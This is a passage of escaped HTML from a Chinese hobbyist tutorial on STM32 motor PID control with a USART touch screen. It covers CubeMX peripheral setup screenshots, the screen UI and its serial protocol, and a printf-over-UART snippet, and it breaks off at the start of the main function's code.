1024w\"\nloading=\"lazy\"\nalt=\"然后RCC设置给时钟HSE选择CCR源\"\nclass=\"gallery-image\"\ndata-flex-grow=\"223\"\ndata-flex-basis=\"535px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder.png\"\nwidth=\"964\"\nheight=\"591\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder_hu0cb4eaea236f392224f4bb2d886ce4cd_111946_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder_hu0cb4eaea236f392224f4bb2d886ce4cd_111946_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Encoder (E2A,E2B)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"163\"\ndata-flex-basis=\"391px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm.png\"\nwidth=\"914\"\nheight=\"577\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm_hu536268e8857b5e7c97e540165974e99a_104347_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm_hu536268e8857b5e7c97e540165974e99a_104347_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Pwm (PwmB)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"158\"\ndata-flex-basis=\"380px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control.png\"\nwidth=\"941\"\nheight=\"875\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control_hu4db4ca04e1c690adffb3211d5d5e5ab9_165813_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control_hu4db4ca04e1c690adffb3211d5d5e5ab9_165813_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"TIM \"\nclass=\"gallery-image\"\ndata-flex-grow=\"107\"\ndata-flex-basis=\"258px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1.png\"\nwidth=\"934\"\nheight=\"709\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1_hud30bc67d88e4606d86734df99e013dba_183490_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1_hud30bc67d88e4606d86734df99e013dba_183490_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"续上图配置的周期(用于控制读Encoder并设定Pwm的间隔,这里调成了0.1秒多一次)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"131\"\ndata-flex-basis=\"316px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"adc\"\u003eADC\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc.png\"\nwidth=\"910\"\nheight=\"435\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc_hu76805e7ed3647cf5d90adcec01194c89_44184_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc_hu76805e7ed3647cf5d90adcec01194c89_44184_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"这里的ADC设置了Single-ended模式\"\nclass=\"gallery-image\"\ndata-flex-grow=\"209\"\ndata-flex-basis=\"502px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"gpio\"\u003eGPIO\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio.png\"\nwidth=\"931\"\nheight=\"1081\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio_hu4620c1d6af36e037585fadb09c11ee09_156730_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio_hu4620c1d6af36e037585fadb09c11ee09_156730_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"这里的GPIO的Bin1和Bin2可以打个标签区分一下, 同时两个都Pull Down(对应的状态是 电机停止)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"86\"\ndata-flex-basis=\"206px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"usart\"\u003eUSART\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart.png\"\nwidth=\"938\"\nheight=\"785\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart_hu3a00685f918a87810710b7d4b581c1cc_143248_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart_hu3a00685f918a87810710b7d4b581c1cc_143248_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"触控屏接到的USART还要打开NVIC全局中断\"\nclass=\"gallery-image\"\ndata-flex-grow=\"119\"\ndata-flex-basis=\"286px\"\n\u003e\n![发送调试信息到Pwlink2lite的Usart把Mode打开成Async就好]\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart.png\"\nwidth=\"937\"\nheight=\"445\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart_hufbbd1ce6f6e9d2cf426b2d4c66957dc5_52572_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart_hufbbd1ce6f6e9d2cf426b2d4c66957dc5_52572_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Alt text\"\nclass=\"gallery-image\"\ndata-flex-grow=\"210\"\ndata-flex-basis=\"505px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"project-manager\"\u003eProject Manager\u003c/h5\u003e\n\u003cp\u003e然后配置一下生成代码的设置, 让它生成单独的c/h文件, 并且生成MDK(Keil)的源代码, 这样后面的VSC + EIDE可以直接以MDK项目格式导入进去,嘎嘎方便.\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc.png\"\nwidth=\"2557\"\nheight=\"1260\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc_hub7ae0b88da0fd6eb5b9d150d279a9c1c_307450_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc_hub7ae0b88da0fd6eb5b9d150d279a9c1c_307450_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"生成单独c/h文件\"\nclass=\"gallery-image\"\ndata-flex-grow=\"202\"\ndata-flex-basis=\"487px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk.png\"\nwidth=\"2560\"\nheight=\"1263\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk_huf2c82dab1e6b106f83a5e1f661bb4c21_350215_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk_huf2c82dab1e6b106f83a5e1f661bb4c21_350215_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"生成MDK项目\"\nclass=\"gallery-image\"\ndata-flex-grow=\"202\"\ndata-flex-basis=\"486px\"\n\u003e\u003c/p\u003e\n\u003ch3 id=\"usart-hmi-写刷-触控屏程序\"\u003eUSART HMI 写/刷 触控屏程序\u003c/h3\u003e\n\u003cp\u003e小白可以先看看这个系列教程了解一下这个 陶晶驰的图形化设计软件的使用方法\u003cbr\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV16T4y127YE\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\n点击上面可以跳转到完整的系列视频⬆️⬆️⬆️\u003c/p\u003e\n\u003cp\u003e下面是正文⬇️⬇️⬇️\u003c/p\u003e\n\u003cp\u003e我设计的简陋的界面\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home.png\"\nwidth=\"2072\"\nheight=\"795\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home_hu4d582b6e9de5983c6fdf2c2f2b1c7da8_247571_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home_hu4d582b6e9de5983c6fdf2c2f2b1c7da8_247571_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"HOME\"\nclass=\"gallery-image\"\ndata-flex-grow=\"260\"\ndata-flex-basis=\"625px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about.png\"\nwidth=\"1978\"\nheight=\"783\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about_huac7dfe68c132b969493914a8117ee917_356200_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about_huac7dfe68c132b969493914a8117ee917_356200_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"ABOUT\"\nclass=\"gallery-image\"\ndata-flex-grow=\"252\"\ndata-flex-basis=\"606px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func.png\"\nwidth=\"1873\"\nheight=\"749\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_hu87881c4c4d9fd19bd5b5842f06b5fc53_263046_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_hu87881c4c4d9fd19bd5b5842f06b5fc53_263046_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"FUNC\"\nclass=\"gallery-image\"\ndata-flex-grow=\"250\"\ndata-flex-basis=\"600px\"\n\u003e\u003c/p\u003e\n\u003cp\u003e这里面唯一有用的就是func界面了(其他纯属引流嗷,建议别学我嗷\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil.png\"\nwidth=\"687\"\nheight=\"522\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil_hu57adf9d35597e7a450a8e7d262e59fc3_255222_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil_hu57adf9d35597e7a450a8e7d262e59fc3_255222_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Func\"\nclass=\"gallery-image\"\ndata-flex-grow=\"131\"\ndata-flex-basis=\"315px\"\n\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e首先需要两个数字框(绑定数字键盘), 一个用来设定目标速度,一个用来设定目标圈数,并且设定了初始值\u003c/li\u003e\n\u003cli\u003e然后加个复选框来 选择 正转 or 反转\u003c/li\u003e\n\u003cli\u003e然后加两个按钮, 一个start 一个 stop, 本质都是用uart发一些数据\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这里两个按钮需要自己定义一个简单的通信协议, 我这里是这样极其简陋乱写的\u003cbr\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start.png\"\nwidth=\"193\"\nheight=\"280\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start_hub1ea8b066bc44846cdeb9988ecd989c4_20676_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start_hub1ea8b066bc44846cdeb9988ecd989c4_20676_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Start\"\nclass=\"gallery-image\"\ndata-flex-grow=\"68\"\ndata-flex-basis=\"165px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop.png\"\nwidth=\"344\"\nheight=\"294\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop_hu2a72a1dc7b1766df73c052fd9822e9e0_24339_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop_hu2a72a1dc7b1766df73c052fd9822e9e0_24339_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Stop\"\nclass=\"gallery-image\"\ndata-flex-grow=\"117\"\ndata-flex-basis=\"280px\"\n\u003e\u003cbr\u003e\n也就是 [-1,速度的整数,-2,圈数的整数,-3,复选框(正/反转)的整数]\u003c/p\u003e\n\u003cp\u003e搞定程序设计我们调试试一下效果,没有问题就可以把 屏幕用下载器接到电脑(自己简单对接可以)\u003c/p\u003e\n\u003ch3 id=\"vscode--eide\"\u003eVscode + EIDE\u003c/h3\u003e\n\u003ch4 id=\"环境配置\"\u003e环境配置\u003c/h4\u003e\n\u003cp\u003e小白直接看这个教程吧\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV1nr4y1R7Jb\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\u003c/p\u003e\n\u003ch4 id=\"控制代码\"\u003e控制代码\u003c/h4\u003e\n\u003cp\u003eEIDE 导入项目后 开始写代码\u003cbr\u003e\n这里由于程序简单, 我直接全写在main.c了\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e这里注意一定要在 BEGIN 和 END 中间来写自己的代码, 否则CubeMX再次生成代码时, 会把你非用户代码区的代码删掉了.\u003c/em\u003e\u003cbr\u003e\n\u003cem\u003e下面的代码中也只有 BEGIN 和 END 中间的代码是开发者自己写的,其他全部由CubeMX自动生成\u003c/em\u003e\u003c/p\u003e\n\u003ch5 id=\"include\"\u003einclude\u003c/h5\u003e\n\u003cp\u003e这里只用到了一个pid(这个代码分享在最后吧), 一个stdio(使用printf)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"用uart重定向printf到调试器\"\u003e用uart重定向printf到调试器\u003c/h5\u003e\n\u003cp\u003e这个记住就好啦, 网上抄来的方法, 确实不错的方案\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用HAL库函数HAL_UART_Transmit将字符ch发送到UART4串口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 返回发送的字符,这通常不会有实际的影响,但是它需要返回发送的字符。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"main函数\"\u003emain函数\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003e初始化一些参数, 并初始化一个PID计算的结构体\u003c/li\u003e\n\u003cli\u003e把屏幕控制的USART打开来接受信息, 并且设置每接受六次产生一次中断(因为上面的串口屏是设定的发送6个整数)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e70\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan 